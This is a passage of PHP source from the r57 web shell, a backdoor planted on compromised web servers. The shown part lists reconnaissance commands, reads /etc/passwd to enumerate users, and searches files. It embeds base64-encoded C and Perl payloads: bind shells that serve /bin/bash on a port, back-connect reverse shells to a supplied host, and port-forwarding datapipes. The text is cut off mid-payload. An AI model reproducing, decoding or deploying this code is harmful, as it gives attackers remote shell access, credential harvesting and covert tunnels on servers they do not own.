.fetchmailrc files'=>'find / -type f -name .fetchmailrc','find .fetchmailrc files in current dir'=>'find . -type f -name .fetchmailrc','list file attributes on a Linux second extended file system'=>'lsattr -va','show opened ports'=>'netstat -an | grep -i listen','----------------------------------------------------------------------------------------------------'=>'ls -la');$table_up1="<tr><td bgcolor=#cccccc><font face=Verdana size=-2><b><div align=center>:: ";$table_up2=" ::</div></b></font></td></tr><tr><td>";$table_up3="<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc>";$table_end1="</td></tr>";$arrow=" ";$lb="<font color=black>[</font>";$rb="<font color=black>]</font>";$font="<font face=Verdana size=-2>";$ts="<table class=table1 width=100% align=center>";$te="</table>";$fs="<form name=form method=POST>";$fe="</form>";if(isset($_GET['users'])){if(!$users=shell_get_users()){echo "<center><font face=Verdana size=-2 color=red>".$lang[$language.'_text96']."</font></center>";}else {echo '<center>';foreach($users as $user){echo $user."<br>";}echo '</center>';}echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>";die();}if(!empty($_POST['dir'])){@chdir($_POST['dir']);}$dir=@getcwd();$windows=0 ;$unix=0 ;if(strlen($dir)>1  && $dir[1 ]==":")$windows=1 ;else $unix=1 ;if(empty($dir)){$os=getenv('OS');if(empty($os)){$os=php_uname();}if(empty($os)){$os="-";$unix=1 ;}else {if(@eregi("^win",$os)){$windows=1 ;}else {$unix=1 ;}}}if(!empty($_POST['s_dir']) && !empty($_POST['s_text']) && !empty($_POST['cmd']) && $_POST['cmd']=="search_text"){echo $head;if(!empty($_POST['s_mask']) && !empty($_POST['m'])){$sr=new SearchResult($_POST['s_dir'],$_POST['s_text'],$_POST['s_mask']);}else {$sr=new SearchResult($_POST['s_dir'],$_POST['s_text']);}$sr->SearchText(0 ,0 );$res=$sr->GetResultFiles();$found=$sr->GetMatchesCount();$titles=$sr->GetTitles();$r="";if($found>0 ){$r.="<TABLE width=100%>";foreach($res as $file=>$v){$r.="<TR>";$r.="<TD colspan=2><font face=Verdana size=-2><b>".ws(3 );$r.=($windows)?str_replace("/","\\",$file):$file;$r.="</b></font></ TD>";$r.="</TR>";foreach($v as $a=>$b){$r.="<TR>";$r.="<TD align=center><B><font face=Verdana size=-2>".$a."</font></B></TD>";$r.="<TD><font face=Verdana size=-2>".ws(2 ).$b."</font></TD>";$r.="</TR>\n";}}$r.="</TABLE>";echo $r;}else {echo "<P align=center><B><font face=Verdana size=-2>".$lang[$language.'_text56']."</B></font></P>";}echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>";die();}if(strpos(ex("echo abcr57"),"r57")!=3 ){$safe_mode=1 ;}$SERVER_SOFTWARE=getenv('SERVER_SOFTWARE');if(empty($SERVER_SOFTWARE)){$SERVER_SOFTWARE="-";}function ws($i){return @str_repeat("&nbsp;",$i);}function ex($cfe){$res='';if(!empty($cfe)){}return $res;}function shell_get_users(){$users=array();$rows=file('/etc/passwd');if(!$rows)return 0 ;foreach($rows as $string){$user=@explode(":",$string);if(substr($string,0 ,1 )!='#')array_push($users,$user[0 ]);}return $users;}function we($i){if($GLOBALS['language']=="ru"){$text='!      ';}else {$text="[-] ERROR! Can't write in file ";}echo "<table width=100% cellpadding=0 cellspacing=0><tr><td bgcolor=#cccccc><font color=red face=Verdana size=-2><div align=center><b>".$text.$i."</b></div></font></td></tr></table>";return null;}function re($i){if($GLOBALS['language']=="ru"){$text='!     ';}else {$text="[-] ERROR! Can't read file ";}echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc><font color=red face=Verdana size=-2><div align=center><b>".$text.$i."</b></div></font></td></tr></table>";return null;}function ce($i){if($GLOBALS['language']=="ru"){$text="   ";}else {$text="Can't create ";}echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc><font color=red face=Verdana size=-2><div align=center><b>".$text.$i."</b></div></font></td></tr></table>";return null;}function fe($l,$n){$text['ru']=array('    ftp ','   ftp ','     ftp ');$text['eng']=array('Connect to ftp server failed','Login to ftp server failed','Can\'t change dir on ftp server');echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc><font color=red face=Verdana size=-2><div align=center><b>".$text[$l][$n]."</b></div></font></td></tr></table>";return null;}function mr($l,$n){$text['ru']=array('   ',' ');$text['eng']=array('Can\'t send mail','Mail sent');echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc><font color=red face=Verdana size=-2><div align=center><b>".$text[$l][$n]."</b></div></font></td></tr></table>";return null;}function perms($mode){if($GLOBALS['windows'])return 0 ;if($mode&0x1000 ){$type='p';}else if($mode&0x2000 ){$type='c';}else if($mode&0x4000 ){$type='d';}else if($mode&0x6000 ){$type='b';}else if($mode&0x8000 ){$type='-';}else if($mode&0xa000 ){$type='l';}else if($mode&0xc000 ){$type='s';}else $type='u';$owner["read"]=($mode&00400 )?'r':'-';$owner["write"]=($mode&00200 )?'w':'-';$owner["execute"]=($mode&00100 )?'x':'-';$group["read"]=($mode&00040 )?'r':'-';$group["write"]=($mode&00020 )?'w':'-';$group["execute"]=($mode&00010 )?'x':'-';$world["read"]=($mode&00004 )?'r':'-';$world["write"]=($mode&00002 )?'w':'-';$world["execute"]=($mode&00001 )?'x':'-';if($mode&0x800 )$owner["execute"]=($owner['execute']=='x')?'s':'S';if($mode&0x400 )$group["execute"]=($group['execute']=='x')?'s':'S';if($mode&0x200 )$world["execute"]=($world['execute']=='x')?'t':'T';$s=sprintf("%1s",$type);$s.=sprintf("%1s%1s%1s",$owner['read'],$owner['write'],$owner['execute']);$s.=sprintf("%1s%1s%1s",$group['read'],$group['write'],$group['execute']);$s.=sprintf("%1s%1s%1s",$world['read'],$world['write'],$world['execute']);return trim($s);}function in($type,$name,$size,$value){$ret="<input type=".$type." name=".$name." ";if($size!=0 ){$ret.="size=".$size." ";}$ret.="value=\"".$value."\">";return $ret;}function which($pr){$path=ex("which $pr");if(!empty($path)){return $path;}else {return $pr;}}function cf($fname,$text){$w_file=@fopen($fname,"w") or we($fname);if($w_file){@fputs($w_file,base64_decode($text));@fclose($w_file);}}function sr($l,$t1,$t2){return "<tr class=tr1><td class=td1 width=".$l."% align=right>".$t1."</td><td class=td1 align=left>".$t2."</td></tr>";}if(!@function_exists("view_size")){function view_size($size){if($size>=1073741824 ){$size=@round($size/1073741824 *100 )/100 ." GB";}elseif($size>=1048576 ){$size=@round($size/1048576 *100 )/100 ." MB";}elseif($size>=1024 ){$size=@round($size/1024 *100 )/100 ." KB";}else {$size=$size." B";}return $size;}}function DirFiles($dir,$types=''){$files=array();if(($handle=@opendir($dir))){while(FALSE!==($file=@readdir($handle))){if($file!="." && $file!=".."){if(!is_dir($dir."/".$file)){if($types){$pos=@strrpos($file,".");$ext=@substr($file,$pos,@strlen($file)-$pos);if(@in_array($ext,@explode(';',$types)))$files[]=$dir."/".$file;}else $files[]=$dir."/".$file;}}}@closedir($handle);}return $files;}function DirFilesWide($dir){$files=array();$dirs=array();if(($handle=@opendir($dir))){while(false!==($file=@readdir($handle))){if($file!="." && $file!=".."){if(@is_dir($dir."/".$file)){$file=@strtoupper($file);$dirs[$file]='&lt;DIR&gt;';}else $files[$file]=@filesize($dir."/".$file);}}@closedir($handle);@ksort($dirs);@ksort($files);$files=@array_merge($dirs,$files);}return $files;}function DirFilesR($dir,$types=''){$files=array();if(($handle=@opendir($dir))){while(false!==($file=@readdir($handle))){if($file!="." && $file!=".."){if(@is_dir($dir."/".$file))$files=@array_merge($files,DirFilesR($dir."/".$file,$types));else {$pos=@strrpos($file,".");$ext=@substr($file,$pos,@strlen($file)-$pos);if($types){if(@in_array($ext,explode(';',$types)))$files[]=$dir."/".$file;}else $files[]=$dir."/".$file;}}}@closedir($handle);}return $files;}function DirPrintHTMLHeaders($dir){$pockets='';$handle=@opendir($dir) or die("Can't open directory $dir");echo "    <ul style='margin-left: 0px; padding-left: 20px;'>\n";while(false!==($file=@readdir($handle))){if($file!="." && $file!=".."){if(@is_dir($dir."/".$file)){echo "      <li><b>[ $file ]</b></li>\n";DirPrintHTMLHeaders($dir."/".$file);}else {$pos=@strrpos($file,".");$ext=@substr($file,$pos,@strlen($file)-$pos);if(@in_array($ext,array('.htm','.html'))){$header='-=None=-';$strings=@file($dir."/".$file) or die("Can't open file ".$dir."/".$file);for($a=0 ;$a<count($strings);$a++){$pattern='(<title>(.+)</title>)';if(@eregi($pattern,$strings[$a],$pockets)){$header="&laquo;".$pockets[2 ]."&raquo;";break;}}echo "      <li>".$header."</li>\n";}}}}echo "    </ul>\n";@closedir($handle);}class SearchResult{var $text;var $FilesToSearch;var $ResultFiles;var $FilesTotal;var $MatchesCount;var $FileMatschesCount;var $TimeStart;var $TimeTotal;var $titles;function SearchResult($dir,$text,$filter=''){$dirs=@explode(";",$dir);$this->FilesToSearch=array();for($a=0 ;$a<count($dirs);$a++)$this->FilesToSearch=@array_merge($this->FilesToSearch,DirFilesR($dirs[$a],$filter));$this->text=$text;$this->FilesTotal=@count($this->FilesToSearch);$this->TimeStart=getmicrotime();$this->MatchesCount=0 ;$this->ResultFiles=array();$this->FileMatchesCount=array();$this->titles=array();}function GetFilesTotal(){return $this->FilesTotal;}function GetTitles(){return $this->titles;}function GetTimeTotal(){return $this->TimeTotal;}function GetMatchesCount(){return $this->MatchesCount;}function GetFileMatchesCount(){return $this->FileMatchesCount;}function GetResultFiles(){return $this->ResultFiles;}function SearchText($phrase=0 ,$case=0 ){$qq=@explode(' ',$this->text);$delim='|';if($phrase)foreach($qq as $k=>$v)$qq[$k]='\b'.$v.'\b';$words='('.@implode($delim,$qq).')';$pattern="/".$words."/";if(!$case)$pattern.='i';foreach($this->FilesToSearch as $k=>$filename){$this->FileMatchesCount[$filename]=0 ;$FileStrings=@file($filename) or @next;for($a=0 ;$a<@count($FileStrings);$a++){$count=0 ;$CurString=$FileStrings[$a];$CurString=@Trim($CurString);$CurString=@strip_tags($CurString);$aa='';if(($count=@preg_match_all($pattern,$CurString,$aa))){$CurString=@preg_replace($pattern,"<SPAN style='color: #990000;'><b>\\1</b></SPAN>",$CurString);$this->ResultFiles[$filename][$a+1 ]=$CurString;$this->MatchesCount+=$count;$this->FileMatchesCount[$filename]+=$count;}}}$this->TimeTotal=@round(getmicrotime()-$this->TimeStart,4 );}}function getmicrotime(){list($usec,$sec)=@explode(" ",@microtime());return ((float)$usec+(float)$sec);}$port_bind_bd_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3RyaW5nLmg+DQojaW5jbHVkZSA8c3lzL3R5cGVzLmg+DQojaW5jbHVkZS
A8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCiNpbmNsdWRlIDxlcnJuby5oPg0KaW50IG1haW4oYXJnYyxhcmd2KQ0KaW50I
GFyZ2M7DQpjaGFyICoqYXJndjsNCnsgIA0KIGludCBzb2NrZmQsIG5ld2ZkOw0KIGNoYXIgYnVmWzMwXTsNCiBzdHJ1Y3Qgc29ja2FkZHJfaW4gcmVt
b3RlOw0KIGlmKGZvcmsoKSA9PSAwKSB7IA0KIHJlbW90ZS5zaW5fZmFtaWx5ID0gQUZfSU5FVDsNCiByZW1vdGUuc2luX3BvcnQgPSBodG9ucyhhdG9
pKGFyZ3ZbMV0pKTsNCiByZW1vdGUuc2luX2FkZHIuc19hZGRyID0gaHRvbmwoSU5BRERSX0FOWSk7IA0KIHNvY2tmZCA9IHNvY2tldChBRl9JTkVULF
NPQ0tfU1RSRUFNLDApOw0KIGlmKCFzb2NrZmQpIHBlcnJvcigic29ja2V0IGVycm9yIik7DQogYmluZChzb2NrZmQsIChzdHJ1Y3Qgc29ja2FkZHIgK
ikmcmVtb3RlLCAweDEwKTsNCiBsaXN0ZW4oc29ja2ZkLCA1KTsNCiB3aGlsZSgxKQ0KICB7DQogICBuZXdmZD1hY2NlcHQoc29ja2ZkLDAsMCk7DQog
ICBkdXAyKG5ld2ZkLDApOw0KICAgZHVwMihuZXdmZCwxKTsNCiAgIGR1cDIobmV3ZmQsMik7DQogICB3cml0ZShuZXdmZCwiUGFzc3dvcmQ6IiwxMCk
7DQogICByZWFkKG5ld2ZkLGJ1ZixzaXplb2YoYnVmKSk7DQogICBpZiAoIWNocGFzcyhhcmd2WzJdLGJ1ZikpDQogICBzeXN0ZW0oImVjaG8gd2VsY2
9tZSB0byByNTcgc2hlbGwgJiYgL2Jpbi9iYXNoIC1pIik7DQogICBlbHNlDQogICBmcHJpbnRmKHN0ZGVyciwiU29ycnkiKTsNCiAgIGNsb3NlKG5ld
2ZkKTsNCiAgfQ0KIH0NCn0NCmludCBjaHBhc3MoY2hhciAqYmFzZSwgY2hhciAqZW50ZXJlZCkgew0KaW50IGk7DQpmb3IoaT0wO2k8c3RybGVuKGVu
dGVyZWQpO2krKykgDQp7DQppZihlbnRlcmVkW2ldID09ICdcbicpDQplbnRlcmVkW2ldID0gJ1wwJzsgDQppZihlbnRlcmVkW2ldID09ICdccicpDQp
lbnRlcmVkW2ldID0gJ1wwJzsNCn0NCmlmICghc3RyY21wKGJhc2UsZW50ZXJlZCkpDQpyZXR1cm4gMDsNCn0=";$port_bind_bd_pl="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vYmFzaCAtaSI7DQppZiAoQEFSR1YgPCAxKSB7IGV4aXQoMSk7IH0NCiRMS
VNURU5fUE9SVD0kQVJHVlswXTsNCnVzZSBTb2NrZXQ7DQokcHJvdG9jb2w9Z2V0cHJvdG9ieW5hbWUoJ3RjcCcpOw0Kc29ja2V0KFMsJlBGX0lORVQs
JlNPQ0tfU1RSRUFNLCRwcm90b2NvbCkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVV
TRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJExJU1RFTl9QT1JULElOQUREUl9BTlkpKSB8fCBkaWUgIkNhbnQgb3BlbiBwb3J0XG4iOw0KbG
lzdGVuKFMsMykgfHwgZGllICJDYW50IGxpc3RlbiBwb3J0XG4iOw0Kd2hpbGUoMSkNCnsNCmFjY2VwdChDT05OLFMpOw0KaWYoISgkcGlkPWZvcmspK
Q0Kew0KZGllICJDYW5ub3QgZm9yayIgaWYgKCFkZWZpbmVkICRwaWQpOw0Kb3BlbiBTVERJTiwiPCZDT05OIjsNCm9wZW4gU1RET1VULCI+JkNPTk4i
Ow0Kb3BlbiBTVERFUlIsIj4mQ09OTiI7DQpleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCmNsb3N
lIENPTk47DQpleGl0IDA7DQp9DQp9";$back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj
aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR
hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT
sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI
kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi
KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl
OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";$back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludC
BtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50IGZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47DQogY2hhciBybXNbMjFdPSJyb
SAtZiAiOyANCiBkYWVtb24oMSwwKTsNCiBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJd
KSk7DQogc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsgDQogYnplcm8oYXJndlsxXSxzdHJsZW4oYXJndlsxXSkrMStzdHJ
sZW4oYXJndlsyXSkpOyANCiBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsgDQogaWYgKChjb25uZWN0KGZkLC
Aoc3RydWN0IHNvY2thZGRyICopICZzaW4sIHNpemVvZihzdHJ1Y3Qgc29ja2FkZHIpKSk8MCkgew0KICAgcGVycm9yKCJbLV0gY29ubmVjdCgpIik7D
QogICBleGl0KDApOw0KIH0NCiBzdHJjYXQocm1zLCBhcmd2WzBdKTsNCiBzeXN0ZW0ocm1zKTsgIA0KIGR1cDIoZmQsIDApOw0KIGR1cDIoZmQsIDEp
Ow0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwic2ggLWkiLCBOVUxMKTsNCiBjbG9zZShmZCk7IA0KfQ==";$datapipe_c="I2luY2x1ZGUgPHN5cy90eXBlcy5oPg0KI2luY2x1ZGUgPHN5cy9zb2NrZXQuaD4NCiNpbmNsdWRlIDxzeXMvd2FpdC5oPg0KI2luY2
x1ZGUgPG5ldGluZXQvaW4uaD4NCiNpbmNsdWRlIDxzdGRpby5oPg0KI2luY2x1ZGUgPHN0ZGxpYi5oPg0KI2luY2x1ZGUgPGVycm5vLmg+DQojaW5jb
HVkZSA8dW5pc3RkLmg+DQojaW5jbHVkZSA8bmV0ZGIuaD4NCiNpbmNsdWRlIDxsaW51eC90aW1lLmg+DQojaWZkZWYgU1RSRVJST1INCmV4dGVybiBj
aGFyICpzeXNfZXJybGlzdFtdOw0KZXh0ZXJuIGludCBzeXNfbmVycjsNCmNoYXIgKnVuZGVmID0gIlVuZGVmaW5lZCBlcnJvciI7DQpjaGFyICpzdHJ
lcnJvcihlcnJvcikgIA0KaW50IGVycm9yOyAgDQp7IA0KaWYgKGVycm9yID4gc3lzX25lcnIpDQpyZXR1cm4gdW5kZWY7DQpyZXR1cm4gc3lzX2Vycm
xpc3RbZXJyb3JdOw0KfQ0KI2VuZGlmDQoNCm1haW4oYXJnYywgYXJndikgIA0KICBpbnQgYXJnYzsgIA0KICBjaGFyICoqYXJndjsgIA0KeyANCiAga
W50IGxzb2NrLCBjc29jaywgb3NvY2s7DQogIEZJTEUgKmNmaWxlOw0KICBjaGFyIGJ1Zls0MDk2XTsNCiAgc3RydWN0IHNvY2thZGRyX2luIGxhZGRy
LCBjYWRkciwgb2FkZHI7DQogIGludCBjYWRkcmxlbiA9IHNpemVvZihjYWRkcik7DQogIGZkX3NldCBmZHNyLCBmZHNlOw0KICBzdHJ1Y3QgaG9zdGV
udCAqaDsNCiAgc3RydWN0IHNlcnZlbnQgKnM7DQogIGludCBuYnl0Ow0KICB1bnNpZ25lZCBsb25nIGE7DQogIHVuc2lnbmVkIHNob3J0IG9wb3J0Ow
0KDQogIGlmIChhcmdjICE9IDQpIHsNCiAgICBmcHJpbnRmKHN0ZGVyciwiVXNhZ2U6ICVzIGxvY2FscG9ydCByZW1vdGVwb3J0IHJlbW90ZWhvc3Rcb
iIsYXJndlswXSk7DQogICAgcmV0dXJuIDMwOw0KICB9DQogIGEgPSBpbmV0X2FkZHIoYXJndlszXSk7DQogIGlmICghKGggPSBnZXRob3N0YnluYW1l
KGFyZ3ZbM10pKSAmJg0KICAgICAgIShoID0gZ2V0aG9zdGJ5YWRkcigmYSwgNCwgQUZfSU5FVCkpKSB7DQogICAgcGVycm9yKGFyZ3ZbM10pOw0KICA
gIHJldHVybiAyNTsNCiAgfQ0KICBvcG9ydCA9IGF0b2woYXJndlsyXSk7DQogIGxhZGRyLnNpbl9wb3J0ID0gaHRvbnMoKHVuc2lnbmVkIHNob3J0KS
hhdG9sKGFyZ3ZbMV0pKSk7DQogIGlmICgobHNvY2sgPSBzb2NrZXQoUEZfSU5FVCwgU09DS19TVFJFQU0sIElQUFJPVE9fVENQKSkgPT0gLTEpIHsNC
iAgICBwZXJyb3IoInNvY2tldCIpOw0KICAgIHJldHVybiAyMDsNCiAgfQ0KICBsYWRkci5zaW5fZmFtaWx5ID0gaHRvbnMoQUZfSU5FVCk7DQogIGxh
ZGRyLnNpbl9hZGRyLnNfYWRkciA9IGh0b25sKDApOw0KICBpZiAoYmluZChsc29jaywgJmxhZGRyLCBzaXplb2YobGFkZHIpKSkgew0KICAgIHBlcnJ
vcigiYmluZCIpOw0KICAgIHJldHVybiAyMDsNCiAgfQ0KICBpZiAobGlzdGVuKGxzb2NrLCAxKSkgew0KICAgIHBlcnJvcigibGlzdGVuIik7DQogIC
AgcmV0dXJuIDIwOw0KICB9DQogIGlmICgobmJ5dCA9IGZvcmsoKSkgPT0gLTEpIHsNCiAgICBwZXJyb3IoImZvcmsiKTsNCiAgICByZXR1cm4gMjA7D
QogIH0NCiAgaWYgKG5ieXQgPiAwKQ0KICAgIHJldHVybiAwOw0KICBzZXRzaWQoKTsNCiAgd2hpbGUgKChjc29jayA9IGFjY2VwdChsc29jaywgJmNh
ZGRyLCAmY2FkZHJsZW4pKSAhPSAtMSkgew0KICAgIGNmaWxlID0gZmRvcGVuKGNzb2NrLCJyKyIpOw0KICAgIGlmICgobmJ5dCA9IGZvcmsoKSkgPT0
gLTEpIHsNCiAgICAgIGZwcmludGYoY2ZpbGUsICI1MDAgZm9yazogJXNcbiIsIHN0cmVycm9yKGVycm5vKSk7DQogICAgICBzaHV0ZG93bihjc29jay
wyKTsNCiAgICAgIGZjbG9zZShjZmlsZSk7DQogICAgICBjb250aW51ZTsNCiAgICB9DQogICAgaWYgKG5ieXQgPT0gMCkNCiAgICAgIGdvdG8gZ290c
29jazsNCiAgICBmY2xvc2UoY2ZpbGUpOw0KICAgIHdoaWxlICh3YWl0cGlkKC0xLCBOVUxMLCBXTk9IQU5HKSA+IDApOw0KICB9DQogIHJldHVybiAy
MDsNCg0KIGdvdHNvY2s6DQogIGlmICgob3NvY2sgPSBzb2NrZXQoUEZfSU5FVCwgU09DS19TVFJFQU0sIElQUFJPVE9fVENQKSkgPT0gLTEpIHsNCiA
gICBmcHJpbnRmKGNmaWxlLCAiNTAwIHNvY2tldDogJXNcbiIsIHN0cmVycm9yKGVycm5vKSk7DQogICAgZ290byBxdWl0MTsNCiAgfQ0KICBvYWRkci
5zaW5fZmFtaWx5ID0gaC0+aF9hZGRydHlwZTsNCiAgb2FkZHIuc2luX3BvcnQgPSBodG9ucyhvcG9ydCk7DQogIG1lbWNweSgmb2FkZHIuc2luX2FkZ
HIsIGgtPmhfYWRkciwgaC0+aF9sZW5ndGgpOw0KICBpZiAoY29ubmVjdChvc29jaywgJm9hZGRyLCBzaXplb2Yob2FkZHIpKSkgew0KICAgIGZwcmlu
dGYoY2ZpbGUsICI1MDAgY29ubmVjdDogJXNcbiIsIHN0cmVycm9yKGVycm5vKSk7DQogICAgZ290byBxdWl0MTsNCiAgfQ0KICB3aGlsZSAoMSkgew0
KICAgIEZEX1pFUk8oJmZkc3IpOw0KICAgIEZEX1pFUk8oJmZkc2UpOw0KICAgIEZEX1NFVChjc29jaywmZmRzcik7DQogICAgRkRfU0VUKGNzb2NrLC
ZmZHNlKTsNCiAgICBGRF9TRVQob3NvY2ssJmZkc3IpOw0KICAgIEZEX1NFVChvc29jaywmZmRzZSk7DQogICAgaWYgKHNlbGVjdCgyMCwgJmZkc3IsI
E5VTEwsICZmZHNlLCBOVUxMKSA9PSAtMSkgew0KICAgICAgZnByaW50ZihjZmlsZSwgIjUwMCBzZWxlY3Q6ICVzXG4iLCBzdHJlcnJvcihlcnJubykp
Ow0KICAgICAgZ290byBxdWl0MjsNCiAgICB9DQogICAgaWYgKEZEX0lTU0VUKGNzb2NrLCZmZHNyKSB8fCBGRF9JU1NFVChjc29jaywmZmRzZSkpIHs
NCiAgICAgIGlmICgobmJ5dCA9IHJlYWQoY3NvY2ssYnVmLDQwOTYpKSA8PSAwKQ0KCWdvdG8gcXVpdDI7DQogICAgICBpZiAoKHdyaXRlKG9zb2NrLG
J1ZixuYnl0KSkgPD0gMCkNCglnb3RvIHF1aXQyOw0KICAgIH0gZWxzZSBpZiAoRkRfSVNTRVQob3NvY2ssJmZkc3IpIHx8IEZEX0lTU0VUKG9zb2NrL
CZmZHNlKSkgew0KICAgICAgaWYgKChuYnl0ID0gcmVhZChvc29jayxidWYsNDA5NikpIDw9IDApDQoJZ290byBxdWl0MjsNCiAgICAgIGlmICgod3Jp
dGUoY3NvY2ssYnVmLG5ieXQpKSA8PSAwKQ0KCWdvdG8gcXVpdDI7DQogICAgfQ0KICB9DQoNCiBxdWl0MjoNCiAgc2h1dGRvd24ob3NvY2ssMik7DQo
gIGNsb3NlKG9zb2NrKTsNCiBxdWl0MToNCiAgZmZsdXNoKGNmaWxlKTsNCiAgc2h1dGRvd24oY3NvY2ssMik7DQogcXVpdDA6DQogIGZjbG9zZShjZm
lsZSk7DQogIHJldHVybiAwOw0KfQ==";$datapipe_pl="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgSU86OlNvY2tldDsNCnVzZSBQT1NJWDsNCiRsb2NhbHBvcnQgPSAkQVJHVlswXTsNCiRob3N0I
CAgICAgPSAkQVJHVlsxXTsNCiRwb3J0ICAgICAgPSAkQVJHVlsyXTsNCiRkYWVtb249MTsNCiRESVIgPSB1bmRlZjsNCiR8ID0gMTsNCmlmICgkZGFl
bW9uKXsgJHBpZCA9IGZvcms7IGV4aXQgaWYgJHBpZDsgZGllICIkISIgdW5sZXNzIGRlZmluZWQoJHBpZCk7IFBPU0lYOjpzZXRzaWQoKSBvciBkaWU
gIiQhIjsgfQ0KJW8gPSAoJ3BvcnQnID0+ICRsb2NhbHBvcnQsJ3RvcG9ydCcgPT4gJHBvcnQsJ3RvaG9zdCcgPT4gJGhvc3QpOw0KJGFoID0gSU86Ol
NvY2tldDo6SU5FVC0+bmV3KCdMb2NhbFBvcnQnID0+ICRsb2NhbHBvcnQsJ1JldXNlJyA9PiAxLCdMaXN0ZW4nID0+IDEwKSB8fCBkaWUgIiQhIjsNC
iRTSUd7J0NITEQnfSA9ICdJR05PUkUnOw0KJG51bSA9IDA7DQp3aGlsZSAoMSkgeyANCiRjaCA9ICRhaC0+YWNjZXB0KCk7IGlmICghJGNoKSB7IHBy
aW50IFNUREVSUiAiJCFcbiI7IG5leHQ7IH0NCisrJG51bTsNCiRwaWQgPSBmb3JrKCk7DQppZiAoIWRlZmluZWQoJHBpZCkpIHsgcHJpbnQgU1RERVJ
SICIkIVxuIjsgfSANCmVsc2lmICgkcGlkID09IDApIHsgJGFoLT5jbG9zZSgpOyBSdW4oXCVvLCAkY2gsICRudW0pOyB9IA0KZWxzZSB7ICRjaC0+Y2
xvc2UoKTsgfQ0KfQ0Kc3ViIFJ1biB7DQpteSgkbywgJGNoLCAkbnVtKSA9IEBfOw0KbXkgJHRoID0gSU86OlNvY2tldDo6SU5FVC0+bmV3KCdQZWVyQ
WRkcicgPT4gJG8tPnsndG9ob3N0J30sJ1BlZXJQb3J0JyA9PiAkby0+eyd0b3BvcnQnfSk7DQppZiAoISR0aCkgeyBleGl0IDA7IH0NCm15ICRmaDsN
CmlmICgkby0+eydkaXInfSkgeyAkZmggPSBTeW1ib2w6OmdlbnN5bSgpOyBvcGVuKCRmaCwgIj4kby0+eydkaXInfS90dW5uZWwkbnVtLmxvZyIpIG9
yIGRpZSAiJCEiOyB9DQokY2gtPmF1dG9mbHVzaCgpOw0KJHRoLT5hdXRvZmx1c2goKTsNCndoaWxlICgkY2ggfHwgJHRoKSB7DQpteSAkcmluID0gIi
I7DQp2ZWMoJHJpbiwgZmlsZW5vKCRjaCksIDEpID0gMSBpZiAkY2g7DQp2ZWMoJHJpbiwgZmlsZW5vKCR0aCksIDEpID0gMSBpZiAkdGg7DQpteSgkc
m91dCwgJGVvdXQpOw0Kc2VsZWN0KCRyb3V0ID0gJHJpbiwgdW5kZWYsICRlb3V0ID0gJHJpbiwgMTIwKTsNCmlmICghJHJvdXQgICYmICAhJGVvdXQp
IHt9DQpteSAkY2J1ZmZlciA9ICIiOw0KbXkgJHRidWZmZXIgPSAiIjsNCmlmICgkY2ggJiYgKHZlYygkZW91dCwgZmlsZW5vKCRjaCksIDEpIHx8IHZ
lYygkcm91dCwgZmlsZW5vKCRjaCksIDEpKSkgew0KbXkgJHJlc3VsdCA9IHN5c3JlYWQoJGNoLCAkdGJ1ZmZlciwgMTAyNCk7DQppZiAoIWRlZmluZW
